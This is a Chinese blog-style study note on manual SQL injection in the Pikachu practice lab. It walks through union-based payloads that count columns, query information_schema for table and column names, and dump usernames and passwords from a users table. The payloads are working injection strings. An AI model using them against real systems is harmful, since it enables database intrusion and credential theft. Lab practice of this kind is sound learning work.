SQL注入之——union以及information_schema手工注入

SQL注入之union以及information_schema手工注入

union 注入

	union 操作符用于合并两个或多个 SQL 语句集合起来,得到联合的查询结果。

确认字段个数

	注:union 操作符一般与 order by 语句配合使用
	因为查询的字段不能超过主查询的字段,这个时候可以在 SQL 语句后面加 order by 进行排序,通过这个办法可以判断主查询的字段。
	例如 若a' order by 4#%之前都没有报错,则三个字段

使用union针对查出来的字段数做一个SQL语句拼接

例如a' union select database(),user(),version()#%

information_schema 注入

	information_schema (提纲)数据库是 MySQL 系统自带的数据库。
	其中保存着关于 MySQL服务器所维护的所有其他数据库的信息。通过 information_schema 注入,我们可以将整个数据库内容全部窃取出来

先通过之前的union先找出数据库的名称

输入 vince' union select database(),user(),3#%

得到数据库名

获取pikachu数据库的表名

	u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#
	where table_schema='pikachu'
		指定数据库
		from information_schema.   tables为 information_schema数据库库中的table表
		table_schema ,table_name
		为table表中的两个字段
			table_schema
					存储了数据库名
					table_name
							存储了表名
								由此得到了表名

获取 pikachu 数据库的字段名

	k'union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
			table_name='users'指定表名为users的表
			from information_schema.columns  为 information_schema数据库库中的columns表
			table_name,column_name
					table_name
						存储了表名
					column_name 
						存储了字段名
							得到了字段名

最后获取敏感字段值的内容 username uid 等

			输入:kobe'union select username ,password,3 from users#%
				对密码解密

小结

通过这次的了解,我认识到可以按照数据库 库-表-字段这个层次性进行一步步渗透 这是一个很好的思路

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值